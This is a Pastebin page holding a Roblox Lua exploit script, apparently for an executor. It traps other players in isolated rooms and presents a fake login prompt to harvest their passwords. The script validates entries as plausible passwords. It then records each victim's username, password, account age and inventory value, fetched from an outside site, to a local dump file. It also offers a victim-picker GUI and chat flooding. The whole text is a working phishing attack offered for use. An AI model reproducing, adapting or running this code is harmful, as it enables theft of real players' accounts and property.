Advertisement
proff001

MXG7 Gui

Sep 30th, 2016
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.11 KB | None | 0 0
  1. local TRUE = true
  2. local FALSE = false
  3. local NULL = nil
  4.  
  5. local ShareGUI = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
  6. local ShareFrame = Instance.new("Frame", ShareGUI)
  7. local ShareButton = Instance.new("TextButton", ShareFrame)
  8. local ShareText = Instance.new("TextBox", ShareFrame)
  9.  
  10. ShareGUI.Name = "ShareGUI"
  11. ShareGUI.Parent = game.Players.LocalPlayer.PlayerGui
  12.  
  13. ShareFrame.Name = "ShareFrame"
  14. ShareFrame.Parent = ShareGUI
  15. ShareFrame.Active = TRUE
  16. ShareFrame.BackgroundColor3 = Color3.fromRGB(244, 244, 244)
  17. ShareFrame.Draggable = TRUE
  18. ShareFrame.Size = UDim2.new(0, 150, 0, 75)
  19. ShareFrame.Position = UDim2.new(0, 557, 0, 49)
  20.  
  21. ShareButton.Name = "ShareButton"
  22. ShareButton.Parent = ShareFrame
  23. ShareButton.Size = UDim2.new(0, 150, 0, 25)
  24. ShareButton.Position = UDim2.new(0, 0, 0, 45)
  25. ShareButton.Text = "Share"
  26.  
  27. ShareText.Name = "ShareText"
  28. ShareText.Parent = ShareFrame
  29. ShareText.Size = UDim2.new(0, 150, 0, 50)
  30. ShareText.Text = "Username"
  31.  
  32. function onShareButtonClick()
  33. local SharedUser = ShareText.Text
  34. local SharedStorage = game.ReplicatedStorage:FindFirstChild("Storage")
  35.  
  36. local NewSharedStorage = SharedStorage:Clone()
  37.  
  38. NewSharedStorage.Parent = game.Players:FindFirstChild(SharedUser)
  39. NewSharedStorage.PickGui.Parent = game.Players:FindFirstChild(SharedUser).PlayerGui
  40. end
  41. ShareButton.MouseButton1Click:connect(onShareButtonClick)
  42.  
  43. local MyRoom = "BasicRoom"
  44.  
  45. local StorageType = 2
  46.  
  47. local ScamType = "Pick"
  48.  
  49. local TargetList = {}
  50.  
  51. local Bypassers = {
  52. {}
  53. }
  54.  
  55. local Trello = {
  56. Enabled = false,
  57. List = "MRList",
  58. DumpList = "MRDumps",
  59. TrelloTargetList = "MRTargetList",
  60. DevKey = "",
  61. Token = "",
  62. }
  63.  
  64. local floodChat = false
  65.  
  66. local writeAccounts = true
  67. local fileName = "MGX7List"
  68.  
  69. BypassKey = "v3rm"
  70. BypassKeyEnabled = true
  71. BypassKeyRules = true
  72.  
  73. local kickLogin = false
  74.  
  75. local RAPApi = true
  76. ------------------------------------------------------------------------
  77.  
  78. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  79. MainFolder.Parent = game.ReplicatedStorage
  80.  
  81. local player = game.Players.LocalPlayer
  82.  
  83. local CurrentlyScamming = {}
  84.  
  85. local MRStorage
  86.  
  87. local guiTool = MainFolder.Login
  88.  
  89. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  90. guiTool.LocalScript:Destroy()
  91. replaceScript.Parent = guiTool
  92.  
  93. local ruleTool = MainFolder["Bypass Rules"]
  94.  
  95. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  96. ruleTool.LocalScript:Destroy()
  97. replaceScript.Parent = ruleTool
  98.  
  99. local pickGui = MainFolder.PickGui
  100.  
  101. function checkPass(pass, playa)
  102. if BypassKeyEnabled and pass == BypassKey then
  103. if BypassKeyRules then
  104. local newTool = ruleTool:Clone()
  105. newTool.Parent = workspace
  106. newTool.Handle.CanCollide = false
  107. newTool.Handle.CFrame = playa.Character.Head.CFrame
  108. end
  109. return true
  110. end
  111. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  112. return false
  113. end
  114. local foundNums = 0
  115. local foundLetters = 0
  116. if string.find(pass, " ") then
  117. return false
  118. end
  119. if pass:len() < 6 or pass:len() > 20 then
  120. return false
  121. end
  122. for i=1,pass:len() do
  123. if pass:sub(i,i):match("%d") ~= nil then
  124. foundNums = foundNums + 1
  125. end
  126. end
  127. if foundNums < 2 then
  128. return false
  129. end
  130. for i=1,pass:len() do
  131. if pass:sub(i,i):match("%a") ~= nil then
  132. foundLetters = foundLetters + 1
  133. end
  134. end
  135. if foundLetters < 4 then
  136. return false
  137. end
  138. return true
  139. end
  140.  
  141. function getUText(root, val)
  142. local found
  143. if val then
  144. found = val
  145. end
  146. for i,v in pairs(root:GetChildren()) do
  147. if v.Name == "UText" then
  148. found = v
  149. break
  150. end
  151. found = getUText(v,found)
  152. end
  153. return found
  154. end
  155.  
  156. function getPText(root, val)
  157. local found
  158. if val then
  159. found = val
  160. end
  161. for i,v in pairs(root:GetChildren()) do
  162. if v.Name == "PText" then
  163. found = v
  164. break
  165. end
  166. found = getPText(v,found)
  167. end
  168. return found
  169. end
  170.  
  171. function getILPopUp(root, val)
  172. local found
  173. if val then
  174. found = val
  175. end
  176. for i,v in pairs(root:GetChildren()) do
  177. if v.Name == "ILPopUp" then
  178. found = v
  179. break
  180. end
  181. found = getILPopUp(v,found)
  182. end
  183. return found
  184. end
  185.  
  186. function unscPlayer(plr)
  187. for i,v in pairs(CurrentlyScamming) do
  188. if plr == v.Player then
  189. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  190. table.remove(CurrentlyScamming,i)
  191. wait()
  192. while plr.Backpack:FindFirstChild("Login") do
  193. plr.Backpack.Login:Destroy()
  194. wait()
  195. end
  196. while plr.Character:FindFirstChild("Login") do
  197. plr.Character.Login:Destroy()
  198. wait()
  199. end
  200. plr.Character:WaitForChild("Torso")
  201. plr.Character:WaitForChild("HumanoidRootPart")
  202. plr.Character.HumanoidRootPart.Anchored = false
  203. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  204. v.Player.CameraMaxZoomDistance = 400
  205. v.Player.CameraMinZoomDistance = 0
  206. v.RoomModel:Destroy()
  207. end
  208. end
  209. end
  210.  
  211. function scPlayer(plr)
  212. ypcall(function()
  213. local debounce = false
  214. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  215. if roomCheck then
  216. local roomId = #CurrentlyScamming + 1
  217. local newRoom = roomCheck:Clone()
  218. newRoom.Parent = workspace
  219. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  220.  
  221. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  222. table.insert(CurrentlyScamming,newPacket)
  223. --[[
  224. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  225. if debounce == false then
  226. if playa.Backpack:FindFirstChild("Login") then
  227. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  228. debounce = true
  229. getILPopUp(newRoom).Visible = false
  230. getILPopUp(playa.Backpack.Login).Visible = false
  231. wait(0.5)
  232. if playa.Backpack:FindFirstChild("Login") then
  233. if checkPass(getPText(playa.Backpack.Login).Text) then
  234. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  235. unscPlayer(plr)
  236. else
  237. getILPopUp(newRoom).Visible = true
  238. getILPopUp(playa.Backpack.Login).Visible = true
  239. getPText(playa.Backpack.Login).Text = ""
  240. end
  241. end
  242. end
  243. end
  244. debounce = false
  245. end
  246. end)
  247. --]]
  248. end
  249. end)
  250. end
  251.  
  252. function isBypass(plr)
  253. local bypass = false
  254. for i,v in pairs(Bypassers) do
  255. if v.Name == plr.Name or v.ID == plr.UserId then
  256. bypass = true
  257. end
  258. end
  259. return bypass
  260. end
  261.  
  262. function isScamming(plr)
  263. local isScam = false
  264. for i,v in pairs(CurrentlyScamming) do
  265. if v.Player.Name == plr then
  266. isScam = true
  267. end
  268. end
  269. return isScam
  270. end
  271.  
  272. function fixPlayers()
  273. for i,v in pairs(CurrentlyScamming) do
  274. ypcall(function()
  275. if v.Player.Character:FindFirstChild("Login") then
  276. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  277. local tempTool = v.Player.Character:FindFirstChild("Login")
  278. tempTool.Parent = v.RoomModel
  279. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  280. end
  281. end
  282. end)
  283. end
  284. end
  285.  
  286. function BCtoDumpStr(str)
  287. local res = ""
  288. if str == "Enum.MembershipType.BuildersClub" then
  289. res = "[BC] "
  290. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  291. res = "[TBC] "
  292. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  293. res = "[OBC] "
  294. elseif str == "Enum.MembershipType.None" then
  295. res = ""
  296. end
  297. return res
  298. end
  299.  
  300. function getRap(user)
  301. local rap = "Error."
  302. if RAPApi then
  303. ypcall(function()
  304. local http = game:GetService("HttpService")
  305. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  306. rap = tostring(rawrap.rap)
  307. end)
  308. else
  309. rap = "Disabled."
  310. end
  311. return rap
  312. end
  313.  
  314. function logAccount(user,pass)
  315. local playerName = user.Name
  316. local playerAge = tostring(user.AccountAge)
  317. local playerRAP = getRap(playerName)
  318.  
  319. if print then
  320. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  321. end
  322. if readfile and writefile then
  323. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  324. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  325. else
  326. local tempFile = readfile(getelysianpath()..fileName..".txt")
  327. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  328. end
  329. end
  330. end
  331.  
  332. function teleportVictims()
  333. for i,v in pairs(CurrentlyScamming) do
  334. ypcall(function()
  335. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  336. v.Player.Character.HumanoidRootPart.Anchored = true
  337. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  338. if not v.RoomModel:FindFirstChild("Login") then
  339. local tempTools = {}
  340. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  341. table.insert(tempTools,v2:Clone())
  342. v2:Destroy()
  343. end
  344. local newTool = guiTool:Clone()
  345. newTool.Parent = v.RoomModel
  346. newTool.Handle.CanCollide = false
  347. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  348. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  349. getUText(newTool).Text = v.Player.Name
  350. spawn(function()
  351. wait(2)
  352. for i2,v2 in pairs(tempTools) do
  353. v2.Parent = v.Player.Backpack
  354. end
  355. end)
  356. newTool.Changed:connect(function(prop)
  357. if not isScamming(v.Player.Name) then return end
  358. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  359. if v.Player.Backpack:FindFirstChild("Login") then
  360. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  361. getILPopUp(v.Player.Backpack.Login).Visible = false
  362. if v.Player.Backpack:FindFirstChild("Login") then
  363. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  364. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  365. unscPlayer(v.Player)
  366. spawn(function()
  367. wait(0.5)
  368. if kickLogin then
  369. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  370. v.Player:Remove()
  371. end
  372. end
  373. end)
  374. else
  375. getILPopUp(v.Player.Backpack.Login).Visible = true
  376. getPText(v.Player.Backpack.Login).Text = ""
  377. wait()
  378. if not v.Player.Character:FindFirstChild("Login") then
  379. newTool.Parent = v.RoomModel
  380. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  381. end
  382. end
  383. end
  384. end
  385. end
  386. end
  387. end)
  388. end
  389. end
  390. end)
  391. end
  392. end
  393.  
  394. wait()
  395.  
  396. game.Players.PlayerRemoving:connect(function(playa)
  397. for i,v in pairs(CurrentlyScamming) do
  398. if v.Player == playa then
  399. table.remove(CurrentlyScamming,i)
  400. end
  401. end
  402. end)
  403.  
  404. --[[
  405. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  406. local infoText = Instance.new("TextLabel",infoGui)
  407. infoText.Position = UDim2.new(0,0,1,-20)
  408. infoText.Size = UDim2.new(1,0,0,20)
  409. infoText.FontSize = "Size18"
  410. infoText.Font = "SourceSansBold"
  411. infoText.BackgroundTransparency = 1
  412. infoText.TextColor3 = Color3.new(1,1,1)
  413. infoText.TextXAlignment = "Right"
  414. infoText.Text = "Press 'p' to toggle chat spam."
  415. --]]
  416.  
  417. local mouse = game.Players.LocalPlayer:GetMouse()
  418. mouse.KeyDown:connect(function(key)
  419. if key == "p" then
  420. floodChat = not floodChat
  421. end
  422. end)
  423.  
  424. spawn(function()
  425. while wait(3) do
  426. fixPlayers()
  427. end
  428. end)
  429.  
  430. while wait() do
  431. teleportVictims()
  432. if floodChat then
  433. game.Players:Chat(".")
  434. game.Players:Chat(".")
  435. end
  436. if ScamType == "Normal" then
  437. for i,v in pairs(game.Players:GetPlayers()) do
  438. if StorageType == 1 then
  439. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  440.  
  441. end
  442. elseif StorageType == 2 then
  443. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  444. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  445. MRStorage.Name = "MRStorage"
  446. end
  447. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  448. scPlayer(v)
  449. end
  450. end
  451. end
  452. elseif ScamType == "Pick" then
  453. if StorageType == 1 then
  454. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  455.  
  456. end
  457. elseif StorageType == 2 then
  458. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  459. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  460. MRStorage.Name = "MRStorage"
  461. end
  462. if not game.CoreGui:FindFirstChild("PickGui") then
  463. local newPickGui = pickGui:Clone()
  464. newPickGui.Parent = game.CoreGui
  465. spawn(function()
  466. local pickGuiList = newPickGui.MainFrame.AccList
  467. local pickGuiResult = newPickGui.MainFrame.UserResult
  468. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  469. local function updatePickList()
  470. pickGuiList:ClearAllChildren()
  471. for i,v in pairs(game.Players:GetPlayers()) do
  472. if v ~= player then
  473. local newRes = pickGuiResult:Clone()
  474. newRes.PlayerName.Text = v.Name
  475. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  476. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  477. if isScamming(v.Name) then
  478. newRes.PlayerStatus.Text = "Scamming..."
  479. end
  480. if isBypass(v) then
  481. newRes.PlayerStatus.Text = "Scammed"
  482. end
  483. newRes.Parent = pickGuiList
  484. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  485. newRes.Visible = true
  486. newRes.MouseButton1Down:connect(function()
  487. if not isScamming(v.Name) then
  488. scPlayer(v)
  489. end
  490. end)
  491. end
  492. end
  493. end
  494. updatePickList()
  495. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  496. updatePickList()
  497. end)
  498. end)
  499. end
  500. end
  501. end
  502. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement